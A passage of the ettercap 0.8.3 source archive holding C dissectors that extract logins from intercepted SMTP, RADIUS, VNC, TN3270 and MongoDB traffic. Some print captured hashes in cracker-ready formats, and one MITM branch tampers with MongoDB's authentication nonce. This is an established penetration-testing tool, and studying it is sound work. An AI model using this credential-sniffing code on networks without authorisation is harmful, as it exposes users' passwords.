sizeof(char)); /* username is encoded in base64 */ i = base64decode((const char*)ptr, &user); SAFE_FREE(s->data); /* store the username in the session */ SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char) ); snprintf(s->data, strlen("AUTH USER ") + i + 1, "AUTH USER %s", user); SAFE_FREE(user); /* pass is in the next packet */ return NULL; } if (!strncmp(s->data, "AUTH USER", 9)) { char *pass; DEBUG_MSG("\tDissector_smtp AUTH LOGIN PASS"); SAFE_CALLOC(pass, strlen((const char*)ptr), sizeof(char)); /* password is encoded in base64 */ base64decode((const char*)ptr, &pass); /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data + strlen("AUTH USER ")); PACKET->DISSECTOR.pass = strdup(pass); SAFE_FREE(pass); /* destroy the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_smtp)); /* print the message */ DISSECT_MSG("SMTP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_radius.c0000644000175000017500000001611113505247364020247 0ustar koeppeakoeppea/* ettercap -- dissector RADIUS -- TCP/UDP 1645 1646 1812 1813 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Code | Identifier | Length | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | . . . . . . . . . . 16-Bytes Authenticator. . . . . . . . . . | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | * | . . . . . . . . . . . . . Attributes . . . . . . . . . . . . | * | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * * RFC 2865 * * The password is first * padded at the end with nulls to a multiple of 16 octets. A one- * way MD5 hash is calculated over a stream of octets consisting of * the shared secret followed by the Request Authenticator. This * value is XORed with the first 16 octet segment of the password and * placed in the first 16 octets of the String field of the User- * Password Attribute. * * If the password is longer than 16 characters, a second one-way MD5 * hash is calculated over a stream of octets consisting of the * shared secret followed by the result of the first xor. That hash * is XORed with the second 16 octet segment of the password and * placed in the second 16 octets of the String field of the User- * Password Attribute. * * If necessary, this operation is repeated, with each xor result * being used along with the shared secret to generate the next hash * to xor the next segment of the password, to no more than 128 * characters. */ #include #include #include /* globals */ struct radius_header { u_int8 code; /* type of the packet */ #define RADIUS_ACCESS_REQUEST 0x1 #define RADIUS_ACCESS_ACCEPT 0x2 #define RADIUS_ACCESS_REJECT 0x3 #define RADIUS_ACCOUNT_REQUEST 0x4 #define RADIUS_ACCOUNT_RESPONSE 0x5 u_int8 id; /* identifier */ u_int16 length; /* packet length */ u_int8 auth[16]; /* authenticator */ }; #define RADIUS_HEADER_LEN 0x14 /* 12 bytes */ #define RADIUS_ATTR_USER_NAME 0x01 #define RADIUS_ATTR_PASSWORD 0x02 /* proto */ FUNC_DECODER(dissector_radius); void radius_init(void); static u_char * radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begin, u_char *end); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init radius_init(void) { dissect_add("radius", APP_LAYER_UDP, 1645, dissector_radius); dissect_add("radius", APP_LAYER_UDP, 1646, dissector_radius); dissect_add("radius", APP_LAYER_TCP, 1812, dissector_radius); dissect_add("radius", APP_LAYER_UDP, 1812, dissector_radius); dissect_add("radius", APP_LAYER_TCP, 1813, dissector_radius); dissect_add("radius", APP_LAYER_UDP, 1813, dissector_radius); } FUNC_DECODER(dissector_radius) { DECLARE_REAL_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; struct radius_header *radius; u_char *attributes; char *attr; u_int8 attr_len; char user[0xff+1]; char pass[0xff+1]; char auth[0xff]; size_t i; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; DEBUG_MSG("RADIUS --> UDP dissector_radius"); /* parse the packet as a radius header */ radius = (struct radius_header *)ptr; /* get the pointer to the attributes list */ attributes = (u_char *)(radius + 1); /* we are interested only in ACCESS REQUESTS */ if (radius->code != RADIUS_ACCESS_REQUEST) return NULL; /* search for the username attribute */ attr = (char*)radius_get_attribute(RADIUS_ATTR_USER_NAME, &attr_len, attributes, end); /* if the attribute is not found, the packet is not interesting */ if (attr == NULL) return NULL; /* * max attr_len is 0xff * copy the paramenter into the buffer and null terminate it */ memset(user, 0, sizeof(user)); strncpy(user, attr, attr_len); /* search for the password attribute */ attr = (char*)radius_get_attribute(RADIUS_ATTR_PASSWORD, &attr_len, attributes, end); /* if the attribute is not found, the packet is not interesting */ if (attr == NULL) return NULL; /* * max attr_len is 0xff * copy the paramenter into the buffer and null terminate it */ memset(pass, 0, sizeof(pass)); strncpy(pass, attr, attr_len); for (i = 0; i < 16; i++) snprintf(auth + i*2, 3, "%02X", radius->auth[i]); SAFE_CALLOC(PACKET->DISSECTOR.pass, attr_len * 2 + 1, sizeof(char)); /* save the info */ PACKET->DISSECTOR.user = strdup(user); for (i = 0; i < attr_len; i++) snprintf(PACKET->DISSECTOR.pass + i*2, 3, "%02X", pass[i]); PACKET->DISSECTOR.info = strdup(auth); /* display the message */ DISSECT_MSG("RADIUS : %s:%d -> USER: %s PASS: %s AUTH: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); return NULL; } /* * find a radius attribute thru the list */ static u_char * radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begin, u_char *end) { /* sanity check */ if (begin == NULL || end == NULL) return NULL; if (begin > end) return NULL; DEBUG_MSG("radius_get_attribute: [%d]", attr); /* stop when the attribute list ends */ while (begin < end) { /* get the len of the attribute and subtract the header len */ *attr_len = *(begin + 1) - 2; /* we have found our attribute */ if (*begin == attr) { /* return the pointer to the attribute value */ return begin + 2; } /* move to the next attribute */ if (*(begin + 1) > 0) begin += *(begin + 1); else return NULL; } /* not found */ return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_vnc.c0000644000175000017500000002451013505247364017550 0ustar koeppeakoeppea/* ettercap -- dissector VNC -- TCP 5900 5901 5902 5903 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ struct vnc_status { u_char status; u_char challenge[16]; u_char response[16]; u_char banner[16]; }; #define WAIT_AUTH 1 #define WAIT_CHALLENGE 2 #define WAIT_RESPONSE 3 #define WAIT_RESULT 4 #define NO_AUTH 5 #define LOGIN_OK 6 #define LOGIN_FAILED 7 #define LOGIN_TOOMANY 8 /* protos */ FUNC_DECODER(dissector_vnc); void vnc_init(void); /************************************************/ static char itoa16[16] = "0123456789abcdef"; static inline void hex_encode(unsigned char *str, int len, unsigned char *out) { int i; for (i = 0; i < len; ++i) { out[0] = itoa16[str[i]>>4]; out[1] = itoa16[str[i]&0xF]; out += 2; } } /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init vnc_init(void) { dissect_add("vnc", APP_LAYER_TCP, 5900, dissector_vnc); dissect_add("vnc", APP_LAYER_TCP, 5901, dissector_vnc); dissect_add("vnc", APP_LAYER_TCP, 5902, dissector_vnc); dissect_add("vnc", APP_LAYER_TCP, 5903, dissector_vnc); } FUNC_DECODER(dissector_vnc) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; struct vnc_status *conn_status; /* don't complain about unused var */ (void) DECODE_DATALEN; (void) DECODED_LEN; /* Packets coming from the server */ if (FROM_SERVER("vnc", PACKET)) { /* Interesting packets have len >= 4 */ if (PACKET->DATA.len < 4) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_vnc)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { /* This is the first packet from the server (protocol version) */ if (!strncmp((const char*)ptr, "RFB ", 4)) { DEBUG_MSG("\tdissector_vnc BANNER"); /* Catch the banner that is like "RFB xxx.yyy" */ PACKET->DISSECTOR.banner = strdup((const char*)ptr); /* remove the \n */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\n')) != NULL ) *ptr = '\0'; /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_vnc)); /* remember the state (used later) */ SAFE_CALLOC(s->data, 1, sizeof(struct vnc_status)); conn_status = (struct vnc_status *) s->data; conn_status->status = WAIT_AUTH; strncpy((char*)conn_status->banner, PACKET->DISSECTOR.banner, 16); /* save the session */ session_put(s); } } else { /* The session exists */ conn_status = (struct vnc_status *) s->data; /* If we are waiting for auth scheme by the server */ if (conn_status->status == WAIT_AUTH) { /* Authentication scheme requested by the server: * 0 - Connection Failed * 1 - No Authentication * 2 - VNC Authentication */ DEBUG_MSG("\tDissector_vnc AUTH"); /* No authentication required!!! */ if (!memcmp(ptr, "\x00\x00\x00\x01", 4)) { /* * Free authentication will be notified on * next client's packet */ if(!strstr((const char*)conn_status->banner, "008")) { /* TightVNC hack */ conn_status->status = NO_AUTH; } } else if (!memcmp(ptr, "\x00\x00\x00\x00", 4)) { /* Connection Failed */ if(!strstr((const char*)conn_status->banner, "008")) { /* TightVNC hack */ /*...so destroy the session*/ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_vnc)); SAFE_FREE(ident); return NULL; } } else if (!memcmp(ptr, "\x00\x00\x00\x02", 4)) { /* VNC Auth required */ /* Skip Authentication type code (if the challenge is in the same packet) */ ptr+=4; /* ...and waits for the challenge */ conn_status->status = WAIT_CHALLENGE; } else { /* search for challenge packet */ char buffer[17]; if(PACKET->DATA.len >= 16) { memcpy(buffer, ptr, 16); buf[16] = 0; if(!strstr(buffer, "VNCAUTH_") && PACKET->DATA.len == 16) { /* Saves the server challenge (16byte) in the session data */ conn_status->status = WAIT_RESPONSE; memcpy(conn_status->challenge, ptr, 16); } } } } /* We are waiting for the server challenge */ if ((conn_status->status == WAIT_CHALLENGE) && (ptr < end)) { char buffer[17]; if(PACKET->DATA.len >= 16) { memcpy(buffer, ptr, 16); buf[16] = 0; /* Saves the server challenge (16byte) in the session data */ if(!strstr(buffer, "VNCAUTH_") && PACKET->DATA.len == 16) { DEBUG_MSG("\tDissector_vnc CHALLENGE"); conn_status->status = WAIT_RESPONSE; memcpy(conn_status->challenge, ptr, 16); } } } else if (conn_status->status == WAIT_RESULT) { /* We are waiting for login result */ /* Login Result * 0 - Ok * 1 - Failed * 2 - Too many attempts */ DEBUG_MSG("\tDissector_vnc RESULT"); if (!memcmp(ptr, "\x00\x00\x00\x00", 4)) conn_status->status = LOGIN_OK; else if (!memcmp(ptr, "\x00\x00\x00\x01", 4)) conn_status->status = LOGIN_FAILED; else if (!memcmp(ptr, "\x00\x00\x00\x02", 4)) conn_status->status = LOGIN_TOOMANY; } } } else { /* Packets coming from the client */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_vnc)); /* Only if we catched the connection from the beginning */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { /* We have to catch even ACKs to dump LOGIN FAILURE information on a client's packet */ conn_status = (struct vnc_status *) s->data; /* If there is no auth! */ if (conn_status->status == NO_AUTH) { DEBUG_MSG("\tDissector_vnc NOAUTH"); PACKET->DISSECTOR.user = strdup("VNC"); PACKET->DISSECTOR.pass = strdup("No Password!!!"); DISSECT_MSG("VNC : %s:%d -> No authentication required\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_vnc)); } else /* If we have catched server result */ if (conn_status->status >= LOGIN_OK) { u_char *str_ptr, index; DEBUG_MSG("\tDissector_vnc DUMP ENCRYPTED"); PACKET->DISSECTOR.user = strdup("VNC"); SAFE_CALLOC(PACKET->DISSECTOR.pass, 256, sizeof(char)); /* Dump Challenge and Response */ snprintf(PACKET->DISSECTOR.pass, 11, "Challenge:"); str_ptr = (u_char*)PACKET->DISSECTOR.pass + strlen(PACKET->DISSECTOR.pass); for (index = 0; index < 16; index++) snprintf((char*)str_ptr + (index * 2), 3, "%.2x", conn_status->challenge[index]); strcat((char*)str_ptr, " Response:"); str_ptr =(u_char*) PACKET->DISSECTOR.pass + strlen(PACKET->DISSECTOR.pass); for (index = 0; index < 16; index++) snprintf((char*)str_ptr + (index * 2), 3, "%.2x", conn_status->response[index]); if (conn_status->status > LOGIN_OK) { PACKET->DISSECTOR.failed = 1; DISSECT_MSG("VNC : %s:%d -> %s (Login Failed)\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.pass); } else { DISSECT_MSG("VNC : %s:%d -> %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.pass); } dissect_wipe_session(PACKET, DISSECT_CODE(dissector_vnc)); } else { /* If we are waiting for client response (don't care ACKs) */ if (conn_status->status == WAIT_RESPONSE && PACKET->DATA.len >= 16) { unsigned char challenge[33]; unsigned char response[33]; hex_encode(conn_status->challenge, 16, challenge); challenge[32] = 0; hex_encode(ptr, 16, response); response[32] = 0; DEBUG_MSG("\tDissector_vnc RESPONSE"); /* Saves the client response (16byte) in the session data */ conn_status->status = WAIT_RESULT; memcpy(conn_status->response, ptr, 16); /* even possibly wrong passwords can be useful */ DISSECT_MSG("%s-%d:$vnc$*%s*%s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), challenge, response); } } } } SAFE_FREE(ident); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_TN3270.c0000644000175000017500000001157013505247364017621 0ustar koeppeakoeppea/* ettercap -- dissector for Mainframe TN3270 z/OS TSO logon protocol Copyright (C) Dhiru Kholia (dhiru at openwall.com) Based on MFSniffer (https://github.com/mainframed/MFSniffer) Created by: Soldier of Fortran (@mainframed767) (tested against x3270 and TN3270 X and TN3270 Plus) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include #include #include #include /* protos */ FUNC_DECODER(dissector_TN3270); void TN3270_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init TN3270_init(void) { dissect_add("TN3270", APP_LAYER_TCP, 623, dissector_TN3270); } /* Function to convert EBCDIC to ASCII */ static unsigned char e2a[256] = { 0, 1, 2, 3,156, 9,134,127,151,141,142, 11, 12, 13, 14, 15, 16, 17, 18, 19,157,133, 8,135, 24, 25,146,143, 28, 29, 30, 31, 128,129,130,131,132, 10, 23, 27,136,137,138,139,140, 5, 6, 7, 144,145, 22,147,148,149,150, 4,152,153,154,155, 20, 21,158, 26, 32,160,161,162,163,164,165,166,167,168, 91, 46, 60, 40, 43, 33, 38,169,170,171,172,173,174,175,176,177, 93, 36, 42, 41, 59, 94, 45, 47,178,179,180,181,182,183,184,185,124, 44, 37, 95, 62, 63, 186,187,188,189,190,191,192,193,194, 96, 58, 35, 64, 39, 61, 34, 195, 97, 98, 99,100,101,102,103,104,105,196,197,198,199,200,201, 202,106,107,108,109,110,111,112,113,114,203,204,205,206,207,208, 209,126,115,116,117,118,119,120,121,122,210,211,212,213,214,215, 216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231, 123, 65, 66, 67, 68, 69, 70, 71, 72, 73,232,233,234,235,236,237, 125, 74, 75, 76, 77, 78, 79, 80, 81, 82,238,239,240,241,242,243, 92,159, 83, 84, 85, 86, 87, 88, 89, 90,244,245,246,247,248,249, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57,250,251,252,253,254,255 }; static void ebcdic2ascii(unsigned char *str, int n, unsigned char *out) { int i; for (i = 0; i < n; ++i) out[i] = e2a[str[i]]; } FUNC_DECODER(dissector_TN3270) { DECLARE_DISP_PTR_END(ptr, end); unsigned int i; char tmp[MAX_ASCII_ADDR_LEN]; //suppress unused warning (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; if (FROM_CLIENT("TN3270", PACKET)) { if (PACKET->DATA.len > 200 || PACKET->DATA.len < 5) /* is this always valid? */ return NULL; char output[512] = { 0 }; char username[512] = { 0 }; char password[512] = { 0 }; ebcdic2ascii(ptr, PACKET->DATA.len, (unsigned char*)output); /* scan packets to find username and password */ for (i = 0; i < PACKET->DATA.len - 5; i++) { /* find username, logons start with 125 193 (215 or 213) 17 64 90 ordinals * We relax the check for third byte because it is less error-prone that way */ if (ptr[i] == 125 && ptr[i+1] == 193 && /* (ptr[i+2] == 215 || ptr[i+2] == 213) && */ ptr[i+3] == 17 && ptr[i+4] == 64 && ptr[i+5] == 90) { /* scan for spaces */ int j = i + 6; while (j < 512 && output[j] == 32) j++; if (j==511) /* Don't even bother */ continue; strncpy(username, &output[j], 512); username[511] = 0; /* Boundary */ int l = strlen(username); if (l < 2) return NULL; username[l-2] = 0; DISSECT_MSG("%s:%d <= z/OS TSO Username : %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), username); } /* find password */ if (ptr[i] == 125 && ptr[i+1] == 201 && ptr[i+3] == 17 && ptr[i+4] == 201 && ptr[i+5] == 195) { strncpy(password, &output[i + 6], 512); password[511] = 0; /* Boundary */ int l = strlen(password); if (l < 2) return NULL; password[l-2] = 0; DISSECT_MSG("%s:%d <= z/OS TSO Password : %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), password); } } } return NULL; } // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_portmap.c0000644000175000017500000001707213505247364020451 0ustar koeppeakoeppea/* ettercap -- dissector portmap Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ typedef struct { u_int32 xid; u_int32 prog; u_int32 ver; u_int32 proto; u_int32 status; u_int32 next_offs; } portmap_session; #define DUMP 1 #define MAP_LEN 20 #define FIRST_FRAG 0 #define MORE_FRAG 1 #define LAST_FRAG 0x80000000 typedef struct { u_int32 program; u_int32 version; u_char name[32]; FUNC_DECODER_PTR(dissector); } RPC_DISSECTOR; extern FUNC_DECODER(dissector_mountd); RPC_DISSECTOR Available_RPC_Dissectors[] = { {100005, 1, "mountd", dissector_mountd }, {100005, 2, "mountd", dissector_mountd }, {100005, 3, "mountd", dissector_mountd }, { 0, 0, "", NULL } }; /* protos */ FUNC_DECODER(dissector_portmap); void portmap_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init portmap_init(void) { /* UDP come first for the precedence in the dissector list */ dissect_add("portmap", APP_LAYER_UDP, 111, dissector_portmap); dissect_add("portmap", APP_LAYER_TCP, 111, dissector_portmap); } FUNC_DECODER(dissector_portmap) { DECLARE_DISP_PTR_END(ptr, end); u_int32 type, xid, proc, port, proto, program, version, offs, i; portmap_session *pe; struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip packets which are not useful */ if (PACKET->DATA.len < 24) return NULL; DEBUG_MSG("portmap --> dissector_portmap"); /* Offsets differs from TCP to UDP (?) */ if (PACKET->L4.proto == NL_TYPE_TCP) ptr += 4; xid = pntol(ptr); proc = pntol(ptr + 20); type = pntol(ptr + 4); dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_portmap)); /* CALL */ if (FROM_CLIENT("portmap", PACKET)) { if (type != 0 || session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { SAFE_FREE(ident); return NULL; } SAFE_FREE(ident); dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_portmap)); SAFE_CALLOC(s->data, 1, sizeof(portmap_session)); pe = (portmap_session *)s->data; pe->xid = xid; pe->prog = pntol(ptr + 40); pe->ver = pntol(ptr + 44); pe->proto = pntol(ptr + 48); /* DUMP */ if ( proc == 4 ) pe->prog = DUMP; session_put(s); return NULL; } /* REPLY */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } SAFE_FREE(ident); pe = (portmap_session *)s->data; if (!pe) return NULL; /* Unsuccess or not a reply */ if ( (pe->xid != xid || pntol(ptr + 8) != 0 || type != 1) && pe->status != MORE_FRAG) return NULL; /* GETPORT Reply */ if (pe->prog != DUMP) { port = pntol(ptr + 24); for (i=0; Available_RPC_Dissectors[i].program != 0; i++ ) { if ( Available_RPC_Dissectors[i].program == pe->prog && Available_RPC_Dissectors[i].version == pe->ver ) { if (pe->proto == IPPROTO_TCP) { if (dissect_on_port_level((char*)Available_RPC_Dissectors[i].name, port, APP_LAYER_TCP) == E_SUCCESS) break; dissect_add((char*)Available_RPC_Dissectors[i].name, APP_LAYER_TCP, port, Available_RPC_Dissectors[i].dissector); DISSECT_MSG("portmap : %s binds [%s] on port %d TCP\n", ip_addr_ntoa(&PACKET->L3.src, tmp), Available_RPC_Dissectors[i].name, port); } else { if (dissect_on_port_level((char*)Available_RPC_Dissectors[i].name, port, APP_LAYER_UDP) == E_SUCCESS) break; dissect_add((char*)Available_RPC_Dissectors[i].name, APP_LAYER_UDP, port, Available_RPC_Dissectors[i].dissector); DISSECT_MSG("portmap : %s binds [%s] on port %d UDP\n", ip_addr_ntoa(&PACKET->L3.src, tmp), Available_RPC_Dissectors[i].name, port); } break; } } } else { /* DUMP Reply */ /* XXX - It jumps the fragmented entry (if any) */ if (pe->status == MORE_FRAG) offs = pe->next_offs; else offs = 24; while ( (PACKET->DATA.len - offs) >= MAP_LEN ) { program = pntol(ptr + offs + 4); version = pntol(ptr + offs + 8); proto = pntol(ptr + offs + 12); port = pntol(ptr + offs + 16); for (i=0; Available_RPC_Dissectors[i].program != 0; i++) { if ( Available_RPC_Dissectors[i].program == program && Available_RPC_Dissectors[i].version == version ) { if (proto == IPPROTO_TCP) { if (dissect_on_port_level((char*)Available_RPC_Dissectors[i].name, port, APP_LAYER_TCP) == E_SUCCESS) break; dissect_add((char*)Available_RPC_Dissectors[i].name, APP_LAYER_TCP, port, Available_RPC_Dissectors[i].dissector); DISSECT_MSG("portmap : %s binds [%s] on port %d TCP\n", ip_addr_ntoa(&PACKET->L3.src, tmp), Available_RPC_Dissectors[i].name, port); } else { if (dissect_on_port_level((char*)Available_RPC_Dissectors[i].name, port, APP_LAYER_UDP) == E_SUCCESS) break; dissect_add((char*)Available_RPC_Dissectors[i].name, APP_LAYER_UDP, port, Available_RPC_Dissectors[i].dissector); DISSECT_MSG("portmap : %s binds [%s] on port %d UDP\n", ip_addr_ntoa(&PACKET->L3.src, tmp), Available_RPC_Dissectors[i].name, port); } break; } } offs += MAP_LEN; } /* * Offset to the beginning of the first * valid structure in the next packet */ pe->next_offs = (MAP_LEN + 4) - (PACKET->DATA.len - offs); } /* Check if we have to wait for more reply fragments */ if ( PACKET->L4.proto == NL_TYPE_TCP && !(pntol(ptr - 4)&LAST_FRAG) ) pe->status = MORE_FRAG; else dissect_wipe_session(PACKET, DISSECT_CODE(dissector_portmap)); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_mongodb.c0000644000175000017500000001267213505247364020415 0ustar koeppeakoeppea/* ettercap -- dissector for MongoDB authenctication protocol -- TCP 1521 Copyright (C) Dhiru Kholia (dhiru at openwall.com) Tested with MongoDB 2.2.1 on Arch Linux (November 2012) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include #include #include #include /* globals */ struct mongodb_status { u_char status; u_char username[129]; u_char salt[17]; }; #define WAIT_RESPONSE 1 #define WAIT_RESULT 2 /* protos */ FUNC_DECODER(dissector_mongodb); void mongodb_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init mongodb_init(void) { dissect_add("mongodb", APP_LAYER_TCP, 27017, dissector_mongodb); } FUNC_DECODER(dissector_mongodb) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; struct mongodb_status *conn_status; //suppress unused warning (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; if (FROM_SERVER("mongodb", PACKET)) { if (PACKET->DATA.len < 13) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_mongodb)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { unsigned char *noncep = memmem(ptr, PACKET->DATA.len, "nonce", 5); unsigned char *gnoncep = memmem(ptr, PACKET->DATA.len, "getnonce\x00", 9); unsigned char *keyp = memmem(ptr, PACKET->DATA.len, "authenticate\x00", 12); if (noncep && !gnoncep && !keyp) { /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_mongodb)); /* remember the state (used later) */ SAFE_CALLOC(s->data, 1, sizeof(struct mongodb_status)); conn_status = (struct mongodb_status *) s->data; conn_status->status = WAIT_RESPONSE; /* find and change nonce */ unsigned char *p = noncep; p += (5 + 1 + 4); /* skip over "nonce" + '\x00; + length */ strncpy((char*)conn_status->salt, (char*)p, 16); conn_status->salt[16] = 0; #ifdef MITM memset(p, 0, 16); PACKET->flags |= PO_MODIFIED; #endif /* save the session */ session_put(s); } } else { if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { conn_status = (struct mongodb_status *) s->data; if (PACKET->DATA.len < 16) return NULL; unsigned char *res = memmem(ptr, PACKET->DATA.len, "fails", 5); unsigned char *gres = memmem(ptr, PACKET->DATA.len, "readOnly", 8); if (conn_status->status == WAIT_RESULT && res) { DISSECT_MSG("Login to %s-%d as %s failed!\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->username); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mongodb)); } else if (gres) { DISSECT_MSG("Login to %s-%d as %s succeeded!\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->username) ; dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mongodb)); } } } } else { dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_mongodb)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { conn_status = (struct mongodb_status *) s->data; if (PACKET->DATA.len < 16) return NULL; unsigned char *noncep = memmem(ptr, PACKET->DATA.len, "nonce", 5); unsigned char *keyp = memmem(ptr, PACKET->DATA.len, "key\x00", 4); unsigned char *usernamep = memmem(ptr, PACKET->DATA.len, "user\x00", 5); if (conn_status->status == WAIT_RESPONSE && noncep && keyp) { usernamep += (4 + 1 + 4); /* skip over "user" + '\x00; + length */ strncpy((char*)conn_status->username, (char*)usernamep, 128); conn_status->username[128] = 0; unsigned char key[33]; keyp += (3 + 1 + 4); /* skip over "key" + '\x00; + length */ strncpy((char*)key, (char*)keyp, 32); key[32] = 0; DISSECT_MSG("%s-%s-%d:$mongodb$1$%s$%s$%s\n", conn_status->username, 